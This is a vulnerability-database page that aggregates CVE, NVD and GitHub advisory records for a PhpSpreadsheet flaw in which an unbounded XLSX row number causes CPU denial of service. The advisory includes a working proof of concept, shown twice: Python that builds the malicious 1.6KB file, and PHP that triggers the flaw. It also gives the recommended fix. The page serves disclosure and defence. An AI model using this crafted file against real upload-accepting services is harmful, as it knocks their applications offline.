Vulnerability-Lookup

CVE-2026-40902 (GCVE-0-2026-40902)

Vulnerability from cvelistv5 – Published: 2026-05-12 22:02 – Updated: 2026-05-13 12:11

Title

PhpSpreadsheet: CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Summary

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-13 12:11 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
PHPOffice	PhpSpreadsheet	Affected: < 1.30.4 Affected: >= 2.0.0, < 2.1.16 Affected: >= 2.2.0, < 2.4.5 Affected: >= 3.3.0, < 3.10.5 Affected: >= 4.0.0, < 5.7.0	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-40902

Vulnerability from fkie_nvd - Published: 2026-05-12 22:16 - Updated: 2026-06-17 10:45

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m	Exploit, Mitigation, Vendor Advisory

Impacted products

Vendor	Product	Version
phpoffice	phpspreadsheet	*
phpoffice	phpspreadsheet	*
phpoffice	phpspreadsheet	*
phpoffice	phpspreadsheet	*
phpoffice	phpspreadsheet	*

JSON

To clipboard

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          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-40902",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-13T12:11:26.338564Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-12T22:16:33.923",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-7C6M-4442-2X6M

Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31

Summary

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Details

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:24:13Z",
    "nvd_published_at": "2026-05-12T22:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n    zf.writestr(\u0027_rels/.rels\u0027, rels)\n    zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n    zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n    zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
  "id": "GHSA-7c6m-4442-2x6m",
  "modified": "2026-05-13T16:31:37Z",
  "published": "2026-04-29T20:24:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-40902 (GCVE-0-2026-40902)

FKIE_CVE-2026-40902

GHSA-7C6M-4442-2X6M

Summary

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